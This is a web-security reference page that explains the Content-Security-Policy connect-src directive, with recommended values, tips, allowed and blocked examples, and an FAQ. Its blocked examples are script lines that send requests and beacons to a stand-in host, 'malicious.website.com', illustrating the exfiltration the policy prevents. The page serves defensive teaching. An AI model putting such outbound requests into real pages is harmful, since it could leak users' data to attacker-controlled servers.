connect-src
connect-src
connect-src
The HTTP Content-Security-Policy (CSP) connect-src directive restricts the URLs which can be loaded using script interfaces. The APIs that are restricted are: <a ping=''>, fetch(), XMLHttpRequest, EventSource, WebSocket and navigator.sendBeacon()
Recommended Values
'self'
Allows scripts from the same origin
Allows scripts from the same origin
https://subdomain.domain.com
Allows scripts from a specific external site
Allows scripts from a specific external site
Explore detailed value definitions
Tips & Tricks
If connect-src is not defined, the default-src directive will be used.
Don't use unsafe-x values or broad keywords like 'data:' 'blob:' 'http:' 'https:' as it may introduce security vulnerabilities.
Examples
Allows scripts from the same origin and a specific external site
Content-Security-Policy: connect-src 'self' https://example.com;Allowed
<!-- allowed by 'self' --> <a href='/page.html'>Page</a> <!-- allowed by https://example.com --> <a href='https://example.com/page.html'>Page</a>Blocked
<!-- blocked as https://malicious.website.com is not in the allowed sources --> <a ping='https://malicious.website.com'>Page</a> <!-- blocked --> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://malicious.website.com/'); xhr.send(); <!-- blocked --> var ws = new WebSocket('https://malicious.website.com/'); <!-- blocked --> var es = new EventSource('https://malicious.website.com/'); <!-- blocked --> navigator.sendBeacon('https://malicious.website.com/', {...}); </script>
Frequently Asked Questions
What is the connect-src directive used for?
The connect-src directive controls which network requests can be made using scripts interfaces like Fetch, XMLHttpRequest (AJAX), WebSocket, and EventSource. It restricts the URLs that can be loaded using these networking APIs.
Security Note
Without proper connect-src restrictions, malicious scripts could exfiltrate sensitive data to unauthorized endpoints.
What are the recommended values for connect-src?
The recommended approach is to explicitly list all domains that your application needs to connect to. Start with 'self' for same-origin requests and add specific external APIs as needed. For example: connect-src 'self' https://api.example.com wss://websocket.example.com
Best Practice
Avoid using wildcards (*) and always specify exact domains to minimize the attack surface.
How does connect-src affect modern web APIs?
connect-src controls many modern web APIs including Fetch API, WebSocket connections, Server-Sent Events (EventSource), Beacon API, and XMLHttpRequest. It's crucial for applications using real-time communications or making API calls.
What happens if a request violates connect-src?
If a request is made to a URL not allowed by connect-src, the browser will block the request and log a security violation in the console. This prevents unauthorized data transmission and helps protect against data exfiltration attacks.
Need to monitor CSP violations and maintain it easily?
Set up a reporting endpoint to monitor Content Security Policy violations in real-time to build and maintain your CSP easily.
Set up your endpoint now